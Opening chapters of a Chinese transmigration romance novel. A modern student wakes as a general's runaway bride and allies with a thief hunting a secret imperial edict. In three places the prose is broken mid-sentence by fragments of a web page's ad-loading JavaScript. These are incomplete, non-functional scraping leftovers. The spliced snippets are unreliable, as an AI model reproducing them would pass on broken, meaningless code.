《此渊非浅》 1. 第一章·我私奔了!? 一束阳光透过窗照了进来,房间内十分凌乱,而床上横七竖八的躺着两个人。 梁浅慢慢睁开眼睛,感觉后脑勺传来一阵疼痛,等梁浅撑起身看清楚,才发现旁边仰面躺着一个面容姣好的男人。 所以是悲催女大学生梁浅在面试失败后出门为了救小朋友,自己撞到墙晕了过去,所以穿越了。 梁浅小声惊呼,大胆探过身子看了看,男人年纪看起来很年轻,梁浅伸手探了探这个男人的鼻息,还有气,看了看自己身上和男人身上的衣服,已然不是现代人的装扮。 梁浅想悄悄下床,但奈何床铺外边一大半都被男人占完,正当梁浅小心翼翼地从男人身上翻过去时,男人却醒了。 两人四目相对,梁浅顿时愣住了。 男人睡眼惺忪,看清梁浅后,顿了一秒,淡然冷静地说道,“你醒啦?睡得可还好?” 梁浅趁机跳下床来,站在床边问道:“你是谁,这是什么情况?” 男人撑起身子,嘴角带有一丝笑意,“你不记得?娘子,我是你夫君顾郎呀。” “夫君?顾郎?”梁浅疑惑地看看男人,又看看周围,看着这房间不像是夫妻长久生活的卧房,倒像是一间客栈的客房,而且周围很多家具凌乱的倒在房间各处。 梁浅心想莫不是还在做梦,梦到剧本杀的现场了? 梁浅掐了掐自己手臂,感觉吃痛。 正在梁浅掐自己的时候,男子从床上站起身靠近梁浅,伸手想抓住梁浅的手臂,梁浅赶紧抓起地上破碎的碗片,指向男子。 “别乱动。”梁浅说道。 男子偏头一笑,退后一步,站在床榻边。 “你最好说清楚,这是什么情况,我们两个又是什么关系?”梁浅淡定下来,提出自己的疑问。 “娘子,你我本青梅竹马,情投意合,奈何当年柳家与萧将军之诺,你不得已嫁与萧家,但是你始终放不下我,所以与我私奔到了此处。”男子急忙向梁浅解释到,可是嘴角的一丝神秘的笑意却隐藏不住。 见对面女子没有动容,男子继续说道。 “昨夜我们遇到了山贼,怪我没有护好你,你头受了伤,看样子你失忆了,才记不得我。”男子装作自责的样子说道,“但以后我会照顾好你的,不会再让你受伤了。” 梁浅在现代虽然没有怎么谈过恋爱,但是从室友还有网络上也了解了不少男人的那些心机。 眼前这个男人先不说他这个浪荡样子,自己是否会和他私奔,光是他欲盖弥彰的讲的这一大堆就够人怀疑了。 梁浅嘴里只蹦出三个字:“我,不,信。” 听到这话,对面男子仿佛并不惊讶,反而更往前走了一步。 梁浅正打算偷偷拿起身后桌子上的灯具,将对面的所谓顾某人打晕的时候,楼下传来嘈杂的人声。 顾某顿时收起了玩笑的嘴脸,然后推开梁浅,转身便从窗户往外翻了下去。 梁浅一脸吃惊,这位大哥不是说和我私奔吗?怎么说跑就跑,而且看样子这是在二楼,他直接就跳下去了,剧本杀的演员没有这么强吧。 而且这一系列动作一整个丝滑到令人难以置信。 就在梁浅愣神之余,门突然被人一脚踢开了。 进门的是一个高大英俊,身着黑衣的男子,他居高临下的看着被推倒坐在地上的梁浅,压迫感不言而喻。 梁浅看向对面男子的眼睛,站起身大胆地开口:“请问这位公子是?” 萧明渊再也压制不住心中的怒气,疾步走进屋中,梁浅余光看到身后有两位带刀的侍卫贴心的关上了门。 萧明渊用力拉着她的手臂,看着她说道:“柳烟晴,你又在耍什么花样,昨夜洞房花烛夜你和我说的你都忘了?把我灌醉然后跑到这里,这会儿你在这里和我装不认识?” 梁浅心中疑惑,什么洞房花烛,难道我昨天和这个人成亲,然后我逃婚了?不至于真的和刚刚那个男的私奔吧。 梁浅手臂传来一阵吃痛,“嘶,你先把手放开。” 梁浅本能想反抗,但此时身上没有力气,挣脱不开。 “你听我解释,误会都是误会,昨夜你喝醉后就睡了过去怎么也叫不醒,我也醉晕了过去,不知怎得就到了这个地方,我迷迷糊糊感觉肯定是有贼人将我抓到此处的,想必是想要借我威胁你,但是迫于你的威名逃走了。” 听到梁浅语无伦次的乱编一通后,萧明渊眯了眯眼睛,将梁浅手放开。 “所以你的意思是那个贼人进到我戒备森严的萧府,然后将我的新婚妻子在府中众目睽睽之下将你从我的卧房带走的?”萧明渊语气柔和的说道,刚刚的怒气好像消了不少。 “嗯,说不定那人武艺高超呢,昨夜你也卸下防备,喝得醉醺醺的,自然不知道。”梁浅认真的说道,脸上浮现出一脸尴尬的笑容。 萧明渊无奈一笑,然后将身上的披风取下,披在梁浅身上,将她抱起。 梁浅惊讶的看着他,双手伸在半空,不想和他有过多接触,这个人看起来冷冰冰的,感觉他心机深沉,给人一种不寒而栗的感觉。 “既然娘子都这么说了,我自然是相信娘子的,为了不让他人怀疑,娘子这就随我回去吧。”萧明渊转头对着梁浅说道。 梁浅心想这破理由他居然相信了?梁浅本来还想挣扎,但转身看到门口的带刀侍卫,还是冷静了下来,心想走一步看一步吧,先保小命要紧。 萧明渊看梁浅没有再挣扎,便用用披风帽子遮住她的脸,语气稍微温和的低头说道,“你我是拜了堂的夫妻,跟我回去,别想着再跑了。” 梁浅此时心中也充满疑惑,所以他这是没有相信吗?虽然暂时没有搞清楚现在是什么状况,但是人为刀俎我为鱼肉,从长计议才是真道理。 梁浅感到他走得很快,便伸手揽住了萧明渊的脖子,到了客栈外,萧明渊疾步上马,周围的几个人都看不出他抱着的是谁,只听到他和侍卫说了声回府。 梁浅听着耳边男人的心跳声和靠近男子而感受到的温度,脸红了起来。 但是转念一想,现在自己的小命才最重要,男人暂且放到一边,梁浅快速整理着思绪,自己在现代可能生死未卜,怎么回去现在也不知道。 要不先在这里混一段时间,了解了解情况,如果真回不去,赚点钱找个地方隐居或者开个酒楼当个富婆,躺平一辈子也是不行。 昨天的我逃婚了,不知道是出于什么原因,但是想必对这个萧公子没有什么眷恋,且听他描述,萧府也不是什么适合我待的地方。 虽然我想躺平,但是我也着热爱自由,如今到了这里,我不想困到高门大宅当深闺怨妇,不想被这个时代束缚,所以,对于他说的这段婚姻,我得再次逃婚?或者和他合离。 想定了这些,没过一会儿,马儿便到了一府邸的后门,萧明渊抱着梁浅快速回到房中。 梁浅站定,脱下黑色披风,看到房间还是喜房的布置,然后就是二人都陷入沉默之中。 萧明渊率先打破平静,“咳,你梳妆整理一下,待会儿我带你去祠堂祭拜我父母,昨夜的事,我不与你计较真相究竟如何,若再有下次,我决不手软。” 萧明渊边说边靠近梁浅,认真的盯着她的眼睛,在等她的回应。 梁浅挤出一个笑容,点了点头,回答道:“清楚明白。” 萧明渊退后一步,然后转身走进里屋,在屏风后换了一身黑色的外衣便走了出去,只留下梁浅一人。 梁浅草草看了一眼,在心中暗暗吐槽,这个人怎么只会穿黑衣服,一点花纹都没有。 看着镜子里面的自己,梁浅感觉熟悉又陌生,她和这柳家大小姐倒是长得很像,可是这柳小姐为什么会在新婚之夜出逃,难不成真是私奔? 虽说这个“夫君”也是奇怪得很,我本来以为这随口编的理由他也相信,对逃婚的新娘也不计较,但他说不和我计较,又让我感觉他其实知道我逃婚,不过因为什么原因所以没有戳破。 至少我的小命算暂时保住了,先和他假装个相敬如宾,在他面前装个乖,到时候要么假死,要么乘机逃走,顺便带点财宝作为我当他家夫人的酬劳了。 此时门外传来侍女询问的声音,梁浅立刻将外衣脱下和披风一起放在柜子里,假装才起床。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 嬷嬷和侍女们进来后,便着手开始打扫房间,正在梁浅对着镜子发愁的时候,一名身着橘红色衣裳的少女便走过来帮梁浅梳头。 “芸香服侍小姐梳妆,小姐昨夜睡得可好。”芸香说道。 梁浅听到这里心里想起早上的一堆事脑袋就痛,加上现在得弄清楚状况,便只留下芸香,让其他人都先出去。 “芸香,你说我以前是个怎么样的人呢?”梁浅打算先打听一下以前的事情,现在除了知道自己叫做柳烟晴,嫁给了一个侯爷,昨晚疑似逃婚(甚至可能是私奔)之外,还一无所知。 芸香正整理着桌上的首饰,脸上洋溢着笑容说道:“小姐人很好,去年冬天奴婢受人苛待,在柴房差点冻死,还是小姐将你的被褥送给我,还请郎中给我治病,今日我才能服侍小姐。” “我也是不忍心看人受苦,且这样说来,去年你还没有到我身边服侍对吧?”梁浅又问道。梁浅心想如果这二人相处得不久,应该也不会看出什么破绽。 “是,听厨房的王婆子说之前服侍小姐的两位姐姐家里来了人赎了回去,所以小姐前些日子便选了奴婢陪嫁过来。”芸香边回应着边将桌面收拾好,起身去衣柜拿衣服给梁浅准备沐浴。 梁浅心想,以前看的古装剧小说一般从小一起长大的侍女一般都会陪嫁到夫家,怎么这柳家这么奇怪,在柳小姐临嫁前放人离开,会不会这两个人知道什么内情。 “芸香,那既然这样,我得好好考考你。”芸香边领着烟晴去沐浴,边点头答应着。 “我且问你些问题,看你是否上心,柳家家中如今情况如何,家中如今谁做主,我又是如何嫁过来的?我与夫君婚前情谊如何?”梁浅没忍住,便一股脑的问了。 “奴婢心中一直记得小姐的救命之恩,所以不敢懈怠,柳家一切如常,家中只有夫人和老夫人,如今小姐已然出嫁,过些日子想必夫人也是要回平州老家了。” “至于小姐的婚约,听府中的老人说,当初老爷跟随萧老将军出征,老爷为救萧老将军中箭身亡,萧将军为报答老爷的救命之恩,先是向陛下为老爷求了爵位,给了抚恤,后来又得知夫人已怀有身孕,便说老爷年轻时便和萧老将军情同手足,说要一起定娃娃亲,便让小姐和萧少将军定下了娃娃亲。” “几年前,萧老将军去世,萧少将军来了信件说一定会遵守其父的诺言,今年萧少将军回京便安排起了小姐的婚事,上门正式提了亲。”梁浅正听得聚精会神,芸香的回答便戛然而止。 梁浅疑惑的看向芸香,见她犹犹豫豫的样子,好像接下来的话说不出口。 “你尽管大胆的说,无妨”梁浅轻轻拍了下芸香的手背。 芸香深吸一口气说道:“至于小姐和姑爷的情谊,详情芸香不知,但芸香之前在后厨做工时,曾听到他人闲言碎语,说,嗯。” 芸香偷看了梁浅一眼,见梁浅表情没有什么大的波动,便继续说道:“说萧少将军常年在外征战沙场,与小姐从未见面,只有书信往来,而小姐从小与同乡的顾家小哥青梅竹马,是迫于当年的约定和萧家的威势,才答应与萧少将军成亲的。” 芸香边说着边悄悄抬头看梁浅的表情,梁浅没有什么表情变化,转头又问道:“那这个萧少将军,咳咳,我夫君这个人怎么样?” 芸香继续回应着:“听说萧少将军在战场长大,杀人如麻,如今也权势滔天,这样的人物最是喜怒无常,柳家的人都说小姐嫁过来必然是吃苦的。” 听芸香说完,梁浅一时却什么也说不出来。 原来真的有顾郎这个人,我不会真的私奔了吧,这样在这个萧府还能怎么混下去。 这个萧少将军又知道多少呢?他是知道我逃婚其实私奔吗?或许他今天早晨的话是在威胁我。 突然看到芸香有些紧张的看着自己,梁浅拉着她的手安慰着,“嗯,芸香,他人的闲言碎语不必理会,以后我们过好自己的就好。”芸香点了点头。 梁浅其实也是在暂时安慰着自己,她的后半句想对自己说的是,如今这个形势,先保住自己小命才是,要是被萧家发现自己是私奔,还不知道能不能活。 2. 第二章·新婚第一日 等梁浅梳洗好,匆匆吃了几块饼垫了垫肚子,方嬷嬷便领着梁浅往萧家祠堂去,一路上的小厮婢女见到梁浅都停下手中的事恭敬行礼。 可梁浅总感觉走后,身后从有人悄悄议论自己,心中觉得疑惑但因为忙着走路一时没有在意。 转眼到了祠堂门外,萧明渊正站在走廊等着梁浅,他抬头看着天发呆,此时天已经大亮,他看着天上的云望得出神。 梁浅轻轻地走到他身旁,假装贤惠的样子问道:“夫君,在看什么?” 见梁浅过来了,萧明渊便收起了思绪,转过身来望着她,“只是想起一些往事,所以看得出神罢了,走吧。” 萧明渊自然的伸出手,梁浅犹豫片刻,还是牵起了他的手。 二人走进祠堂,萧明渊上前拿香递给梁浅,梁浅看到祠堂中都是萧家的满门英烈,映入眼帘的是萧老将军和萧老夫人的牌位。 萧明渊同梁浅一同祭拜,然后跪在牌位前,四周静悄悄的,梁浅只听得到蜡烛灯芯跳动的声音。 片刻听到萧明渊开口:“父亲母亲,这是儿子的新婚妻子柳烟晴,是柳将军的女儿,如今边疆安定,我也回京成亲,儿子现在过得很好,父亲母亲不必担心。” 梁浅静静地看着这个身材挺拔,五官俊秀的男人,他人都说他杀人如麻,权势滔天,仿佛只是一把冰冷的兵器。 可是此刻,他平和的语气让梁浅感受到他身上散发出来的人间烟火气息。 梁浅心里有闪过一丝愧疚,好像这个萧侯爷人也没有这么坏,我还打他家财宝的主意,我这样是不是有些不仗义。 正当梁浅发呆的看着萧明渊时,萧明渊转过头来也看着她,烟晴赶紧移开视线,突然看到她窘迫的样子,萧明渊嘴角轻轻一笑。 梁浅也赶紧行礼,“儿媳柳烟晴见过父亲母亲,还请父亲母亲放心,儿媳以后会做好的。”梁浅表面微笑内心心虚地说道。 结果一阵风刮过,萧老夫人的牌位竟然倒了下来,梁浅吓了一跳,站起来连连赔罪。 萧明渊不禁失笑,也站起身将牌位扶正,然后便笑着说:“想必母亲是听到了,在回应你。” 梁浅心虚的说道:“那母亲这是喜欢我还是不喜欢我呢?” “我想应该是喜欢的,她在点头不是?”萧明渊笑着说道,而后拜别,转身就牵着梁浅离开。 ** 梁浅刚刚吓出了一身冷汗,见她状态不好,萧明渊便说先去见萧家的叔叔伯伯们,梁浅则回到房中换身衣服休息。 梁浅让芸香等人在屋外等候,除了换衣服外,顺便想找找看嫁妆里面有没有什么值钱的东西可以带着方便跑路的。 正在梁浅翻找着箱子的时候,听到有轻轻门窗打开的声音,梁浅还以为是芸香她们进来了,“芸香,你先出去等会儿,我马上就好。” 结果没有人回应,等梁浅转过身来,却看到的是早上的在客栈的“情郎”顾某人正坐在椅子上喝着茶。 梁浅的声音还没有喉咙出来,那人便快步走过来,捂住了烟晴的嘴巴,将一把小刀抵在她的脖子上。 一看这身法就知道这人必定是习武之人,早上轻功离去,现在来此也没有被萧府的人察觉,梁浅没有轻举妄动,只是瞪着男子,用自己的眼神表示抗议。 男子身着白衣,身材高大,钳住梁浅的手力气很大,男子笑着说道:“娘子瞪着我干嘛,才半日不见,怎的就不认识为夫了?” 看着他轻浮的样子,梁浅巴不得一巴掌打他脸上,虽然只来了这半日,先不说柳烟晴本人会不会蠢到新婚夜在萧府的众目睽睽下私奔,光是这厮浪荡样子,也绝对不是自己的眼光。 虽然不得不承认他长得不错,可是这种丢下他人逃跑的窝囊男人,给自己一百个也不会要的。 “咱俩谈一笔交易,你只要保证不大声喊叫,我就放开你,你要是想跑,可别怪刀剑无眼。”听到这话,梁浅轻轻点了点头。 “你到底是谁,你到这里又是想做什么?”梁浅低声问道。 “我是你夫君呀,娘子。”男子将手摊开,假装无奈的说道。 梁浅乘他有片刻分神,几乎是肌肉记忆一般,伸手去抢夺起小刀,男子躲闪,可是梁浅身体灵活,紧跟而上,两人交起手来。 梁浅心中划过一丝诧异,自己在现代只能说个身体健康,但是这种身手不像是自己有的,倒像是有点武功的样子,甚至感觉是肌肉记忆引领着自己的反应。 梁浅很快就聚精会神到双方的交手中,两人缠斗到梳妆台前。 梁浅一把抓起桌上的盒子,将里面的东西撒向对方,对方顿时被迷了眼睛。 梁浅乘机将其手中的小刀夺了过来,同时一脚将对方踢倒在地上,然后用刚找出的衣裳绑带将男子的手绑上。 看来这个刺客其实也不过如此嘛,虽然貌似轻功不错,却是个笨蛋。 与此同时,梁浅脑子里面好像闪过一些画面,是昨晚和这个人交手的画面。 屋外传来询问的声音,梁浅只说是自己找东西弄的动静。 “你说不说,你到底是谁,不说我喊了。”梁浅此时危险已经解除,如释重负的蹲在旁边看着还被迷着眼睛的人。 “噗,我说我说,大姐,你都忘啦。”男子边说边坐起身来,试图睁开自己的眼睛。 “昨夜我本想偷你从萧府偷走的密诏,结果惊动了你,不仅没有打过你,还有人螳螂捕蝉黄雀在后,把我们两个也迷晕了,我们两个也被洗劫一空。”梁浅听到这里皱起眉头,自己不是逃婚,不是私奔,竟然是小贼吗。 “你还是没有说你到底是谁,而且既然什么密诏已经不在我身上,你为何还要来此处找我。”梁浅继续问道。 无面说道:“嘿嘿,鄙人无面,听闻萧府有一封先皇给萧老将军的密诏,有人出高价寻求,我见你已经潜入萧府,便想都是同行,你拿到后我直接抢你的便是,没成想你这么厉害。” 梁浅也惊讶自己的身手,心想要是回不去,在这里行走江湖还是有点武功在身上的,对自己的信心又增加了,未来也没有这么可怕了。 “今日晨时我翻窗走后,追上了袭击你我的人,那人也是为了密诏,只不过我看到他打开密诏好像很失望的样子,且他上交后我打听说密诏的寻宝贴还在,我想这样看来应该就是你偷错了,这才又回萧府。”无面说完长叹一声。 梁浅说出自己的猜测,“所以你见我早上疑似失了忆,所以打算回萧府看看我能不能为你所用,或者看我如果拿到密诏了,你再来偷走,坐收渔翁之利?”无面点了点头。 那这样看来柳烟晴嫁进萧府的原因很可能就是为了这个密诏,为什么一个柳家小姐会想要这个密诏呢?还协密诏而逃,想必她的真实身份没有表面这么简单。 正好穿过来也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没有个帮手,梁浅心想眼前这人还算利益一致,倒是可以暂时同盟。 “和你谈个生意,我可以留在萧府找密诏,但要你我合作,事后你也要帮我安然逃走,且不牵连他人,找到密诏后,你我酬金三七分,我七你三。”梁浅面带笑意的和无面商量着。 无面犹豫片刻,然后拒绝,转头说着:“不要,不喜欢和人合作。” “你要确定不合作的话,得罪了。”梁浅便搜起了他的身,无面吱呀乱叫起来,这次换梁浅捂他的嘴了。 “叫什么,我又不是非礼你,你这行走江湖的,问你借点东西不行?”梁浅说着,然后在无面腰间找到了两小瓶药。 听到药瓶碰撞的声音,无面闭着眼睛说道:“这可是我最后的东西了,大小姐。” “所以,这是干什么的?毒药?”梁浅举着手问道。 “蓝色那瓶是毒,白色那瓶是解药,服下此药后如果七日没有解药便会毒发身亡。”听他说罢,梁浅便将白色药瓶中的药丸塞到了无面嘴里。 “那请你吃一颗毒药。”梁浅偷笑着。 无面自信的嚼了起来,“哼,我就知道,骗你的,其实白色的才是毒,嗯?怎么味道这么怪,是毒?” 无面痛苦的倒在了地上,梁浅偷笑着说道:“这下你不得不合作了,你出去后先到后门等着,等到合适时机我让芸香来接你,我先安排你到府里的马房做工,你就说是我从娘家带来的马夫便是。” 梁浅将药和小刀收好,然后给无面擦了擦眼睛,解了手上的束缚,无面对着梁浅做了一个鬼脸,哼了一声,便从窗户翻走了。 梁浅快速的收拾了下屋子,此时才叫芸香等人进来,说自己刚刚有些头晕,便把梳妆台上的东西弄撒了。 芸香并未怀疑,只是此时梁浅并未注意到进来的一众人中,有一位老婆子正在细细打量屋子里的一切。 梁浅不敢耽误,赶紧到前厅去见萧家的长辈,路上悄悄问了嬷嬷如何行礼,到了前厅,还没有进门就听到里面的笑声。 见有人进来了,众人目光便都落到的梁浅的身上,刚刚的笑声戛然而止,梁浅进门看到一众女眷,有的衣着华丽,有的衣着简朴,存着心中的疑惑向前走去。 梁浅向几位稍微看着年长的妇人行礼道:“烟晴见过各位婶婶。” 一位身材略胖衣着华丽的妇人走上来拉起梁浅的手,笑眯眯的看着烟晴说:“这便是渊儿的媳妇吧,模样也好,倒是不像我想的那般弱不禁风。” 众人轻笑,一位衣着较为简朴身材匀称的妇人也走过来,“烟晴也是武将之女,眉间眼角都见英气,三弟妹快别拉着了,快让新妇过来坐。” 梁浅被拉过来坐下,身材匀称的那位妇人便说道:“这是你三婶婶,我是你二姨,我相公说想看渊儿新得的什么山水图,一群男人便拉着渊儿去书房看,真是一点面子也不给,不过想必一会儿便回来了,你快来和我们说说话。” 梁浅向两位长辈行礼,二姨又一一介绍着屋里的女眷,每一位都面带着笑容,只是介绍到人群后一位身材瘦弱的女子时,梁浅注意到她的脸色不太好。 “表妹这是怎么了,看着脸色不太好,我叫郎中来瞧瞧?”梁浅关切的问着,正打算让嬷嬷去请郎中,一名女子站到表妹的身边。 “不劳烦候夫人了,我妹妹这是心病,寻常郎中怕是治不好。”女子阴阳怪气的回道。 3. 第三章·今晚 见状梁浅只是点了点头,便没在过问,可是见梁浅无动于衷,两姐妹好像着急了起来,两姐妹走了过来,打断正在和她人说话的梁浅。 “侯夫人不想问问我妹妹的心病是什么吗?”姐姐直直的看着梁浅,梁浅心想这种剧情我在电视剧里面看过太多了。 要么是想把什么病的原由沾染到我的身上,让我下不来台,要么就是这心病就是和我的夫君有关,要我成全她之类的。 梁浅并不想参与,现在她得低调点行事,也懒得去管过多的闲事。 于是梁浅坐直身子说道:“不想,想必我家郎中也太过平庸,帮不了令妹,只愿令妹身体健康,万事如意。” 说完梁浅冲着两姐妹假笑了一下,便不再看对方。 小样,想引我入套,没那么容易。 梁浅没有再看那两姐妹,只是听七大姑八大姨说着,感觉头晕却又不得不如木桩般听着,时不时点点头。 梁浅这才知道,萧明渊的父亲萧老将军是家中的大房,先帝原来只是遗弃到宫外的皇子,后来参军入伍,养精蓄锐,抓准时机,最后在混乱中重回皇宫,继承大统。 而萧老将军从小便是先帝的玩伴,后陪先帝参军屡立奇功,功勋斐然,深得先帝器重。 萧老将军与妻子更是琴瑟和鸣,一对璧人,但萧老夫人体弱多病,生下孩子后身体更加虚弱,萧明渊不足十岁便撒手人寰了,萧老将军顾念亡妻,只是一心扑在国家大事上,镇守边疆数载。 如今的新帝在二皇子时期,萧明渊也曾在宫中当过他的伴读,萧老夫人走后,萧明渊得先帝恩准,去萧老将军驻地,在军营长大,前些年萧老将军战死后,他便继承其父的衣钵继续抗击外敌。 去年先帝驾崩,新皇即位,新皇正是当年的四皇子,萧明渊近年来屡立战功,致使近年边疆逐渐稳定,而朝中新皇也需稳固根基,于是特召萧明渊回京,封北安候。 忽的三姨的话题就转到了梁浅身上,“烟晴呀,你也知道萧家大房也就渊儿一个儿子,你打算什么时候给萧家传宗接代呀?”三姨一脸笑容的说着。 “是啊,是啊,这可得重视,这可是生养的好时候。”另外一位婶婶附和道。 “你看现在就好得很,是吧,侄媳妇。”众人霎时抓到了一个共同的话题,便七嘴八舌的说了起来。 梁浅心想,我这里还想什么时候逃跑呢,哪里可能给他生孩子。 因此梁浅本来随便糊弄过去,但是一直没有找到能插话的时机,而且看着众人都盯着自己,越听越觉得心理有些烦躁,不得由来了逆反心理,想快点结束。 于是又有一位姨妈投来疑似关切实际八卦的眼神,梁浅装作无辜的样子说道:“妾身见识浅薄,不太懂各位婶婶姨妈说的这事具体得如何才能完成为萧家传宗接代的使命?” “那简单,给萧家生儿子就行了。”一位婶子说道。 “哦,怎么生呀?可有哪位婶婶教教我。”梁浅还是装作一脸懵懂无知无辜的问着。 “额,这。”顿时众人都语塞,都没有想到梁浅会这样回答,顿时众人有人不解,有人尴尬。 梁浅心想这一幕早就在表姐家看过无数次了,表姐大学毕业便和男友结了婚,本想还年轻不急生孩子,可是每次聚会吃饭,家中的各位亲戚都在劝生,听得人头大,偏偏能说得生孩子,却对怎么生孩子的事情一提到便满脸忌讳。 所以梁浅知道这样回答肯定能让一些人语塞。 “哎呀,只要有这个心就行,什么时候生可有眉目了?侯夫人?”二婶婶忙解围的说道。 “嗯,今晚?”梁浅索性摆烂到底,装作懵懂无知的样子疑惑的问道。 众人再次尴尬了起来,梁浅看众人的反应,达到了自己的效果,便偷笑着。 此时萧明渊正带着叔叔伯伯们从书房走了回来,终于打破此时的房间里的沉寂。 萧明渊走进屋里对各位长辈行了礼便领着众人去吃晚饭,萧明渊走出房屋之前意味深长的看了梁浅一眼,眉眼都带有笑意。 梁浅没有多想,作为一名吃货,只是一心想着开饭了,忙活了这一天终于可以吃饭了。 席间梁浅因为是萧明渊的新婚妻子,又是敬酒又是回敬的,不一会儿便有了醉意。 坐在梁浅身边的萧明渊看到梁浅拿筷子夹肉的手有点不稳了起来,转头看到梁浅脸上也泛起了一抹红晕,便猜想她肯定是醉了。 梁浅并没有意识到自己醉了。她还看着碗里的一大块鸡肉,好奇怎么一直夹不到,便迷迷糊糊听到萧明渊在和叔叔婶婶们说要告辞。 萧明渊站起身举杯对着在座的各位说道:“各位叔叔婶婶,各位不辞辛劳来参加侄儿的婚礼,侄儿在此谢过了,烟晴有些不胜酒力,侄儿就先带她回去休息了,各位慢慢享用。” 说罢,萧明渊将一杯饮尽,然后慢慢将喝醉的梁浅抱起来,梁浅还在迷迷糊糊的和众人告别,然后就被人抱了起来。 萧明渊抱着梁浅走在长廊上,梁浅刚刚迷迷糊糊睡了过去,此时才发现是萧明渊抱着她。 萧明渊感受到怀中的人动了动,以为是她觉得冷,便将她往自己肩膀拢了拢,抱得更紧了些。 梁浅却丝毫不敢动弹,她也不知道此时若是睁开眼睛说什么。 只是刚刚瞥见,萧明渊虽然身着一声黑衣,但是衣袖处仍是有一圈红色的云纹。梁浅心想,所以,也不算是全然黑衣。 此时虽然已经入春许久,可傍晚吹过来的风还是带着阵阵凉意,倒是吹得梁浅的酒意更深了。 到了房间,萧明渊便将梁浅轻轻放在床上,将她鞋子脱下,梁浅刚刚睡了好一会儿,就在萧明渊给她放下的片刻,梁浅就稍微醒了。 本来想就这样睡下,可是就在萧明渊给她脱鞋的片刻,她忍不住了。 “哈哈哈,你别碰我脚,我怕痒,哈哈。”梁浅忍不住笑了出来,语气还是很慵懒。 萧明渊抬头看向梁浅,笑着摇了摇头,随之语重心长地说道:“好,既然醒了,那就起来喝碗醒酒汤。” 梁浅轻轻点了点头,揉了揉眼睛,从床上坐了起来,芸香从外面就将醒酒汤端了过来。 梁浅惊讶的问道:“怎的这么快?”梁浅心想她在现代点外卖也没有这么快的,萧明 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 渊才说着,芸香就把热乎乎的醒酒汤端到面前了。 芸香笑着回道:“小姐才看着醉酒,姑爷就叫人备下了,见姑爷小姐回来了,芸香便拿过来了。” 梁浅点了点头,哦了一声,心想他还挺细心的,偷偷的看向萧明渊,可是他却什么表情都没有。 见梁浅开始愣神,萧明渊就伸手把碗端了过来递给梁浅,淡然的说道:“我喂你吧。” 梁浅回了神,忙说道:“不用不用。” 梁浅将药端了过来一口气全喝了,自己从小也不怕喝药,一直都是一口气全部喝掉,所以小时候看到电视剧里面男女主一起喂药就感觉十分疑惑,长大了更觉得这样的场景除了暧昧别无用处。 可让梁浅没有想到的是,防过了喂药这手,居然没有防过擦嘴!萧明渊见梁浅喝完了,便很自然的拿起方巾给梁浅擦起了嘴。 芸香识趣的端着东西离开了房间,梁浅看向萧明渊说了一声多谢,然后便听到萧明渊犹豫的说:“烟晴,你晚饭前说的今晚是什么意思?” 梁浅呆在原处,心想他这是听到了吗?他不会误以为我想和他那啥吧。 片刻,见梁浅没有反应,萧明渊便伸手过来用手背轻轻的贴在梁浅的额头上,好像在测梁浅的体温。 萧明渊语气温和地说道:“刚刚吹了冷风,你还醉了酒,小心着凉。” 萧明渊的皮肤轻轻地触碰到梁浅的皮肤,或许是由于刚刚从外面进来,所以感觉他的手还挺凉的。 可是梁浅的脸却有些泛红了,在现代的她,母胎单身,恋爱经历几乎为零,单相思倒是不少,可是都表白失败了。 从小梁浅的父亲在外地工作,母亲每天也在忙,所以她即使上了大学也没有真正学会怎么和他人亲近。 所以萧明渊这样的亲近让她感觉紧张,此时更加感觉氛围也有点暧昧。 萧明渊将手收了回来,梁浅也回过神来,却不敢看他。 沉默片刻,萧明渊慢吞吞地问道:“你我昨夜都喝醉了,不知你还记得多少?” 梁浅一下子心虚了起来,心想他怎么会问这个问题,早上才来的,所以刚好自己不知道这件事,而且早上她编的理由,他这是不相信,在试探我? 还是说昨晚发生的事很重要,重要到可以让他忽略到今天早上这个“插曲”,如此强调让我要记得。 不一定,这人年纪轻轻就位高权重,想必一定不一般,或许是在这里故意诈我,看我使出我的装傻充楞大法。 经过一番思想斗争,梁浅决定继续装醉,赶紧跳过这个话题。 “啊?夫君,你说什么?今天早上我好像不小心撞到了头,所以有些记不清楚,而且刚刚醉了酒,有些晕了。”梁浅故作娇弱地说道。 萧明渊本来坐在床尾,但是听到梁浅这样说,慢慢往梁浅这边坐了过来。 屋里灯火跳动,一扇窗户没有关严,吹过来阵阵微风,吹动着床边的帷幔,好像氛围再次变得暧昧了起来,甚至比刚刚更甚。 萧明渊仿佛做了好一会儿的心理建设,然后深呼一口气,抬头看着梁浅说:“娘子当真不记得?” 4. 第四章·白雨 萧明渊将头慢慢靠了过来,梁浅看着他的眼睛,眼神显得格外认真,他的眼睛像一汪清水,却不是像他名字一样的深渊,梁浅也是这时才看清他的脸庞,此刻灯火映照着他俊秀脸庞显得格外棱角分明。 梁浅一时看得入迷,突然意识到他口中昨晚的事情是什么事情,清醒了过来,所以他刚刚是把我的装傻充楞当成情趣了吗? 梁浅反应了过来,于是一把按住萧明渊的肩膀,萧明渊在即将靠近梁浅的嘴唇时被迫停了下来,梁浅感觉太容易暴露自己的心思,就转而将双手移到萧明渊的胸前。 萧明渊呆呆的看着梁浅,仿佛没有预想到她是这样的反应。 梁浅灵机一动地说道:“夫君,我内急。”梁浅傻笑着看着萧明渊。 萧明渊无奈地摇了摇头,梁浅便乘机溜下了床,蹑手蹑脚的走出房门。 走出房门后,梁浅靠着房门深呼吸了半晌,没有想到这一天怎么这么难,现在只有能拖延一会儿就是一会儿。 然后梁浅便借着月光慢慢的走在院子里,看着天上的月亮,想起今天这一系列的事情,梁浅这才感叹了起来,月亮啊月亮,怎么到哪里都这么难呀。 在现代的她,看到一些同学朋友才毕业就结了婚,人人都说这样才算稳定,可是当她看到表姐结婚后每天被催生,有时还要被他人嘲笑,还听到一些说她身体有问题的闲言碎语; 看到师姐即使生了孩子,可是仿佛也并没有松一口气,身体上的疲惫,精神上的压力,想到上次见到师姐时,匆匆忙忙说了几句话,师姐便要带着孩子回去了。 还有加上父亲母亲这些年的相处,梁浅看到的往往是聚少离多,看到的永远是无止境的争吵,所以,现代的梁浅久而久之就对婚姻,对亲密关系产生了畏惧。 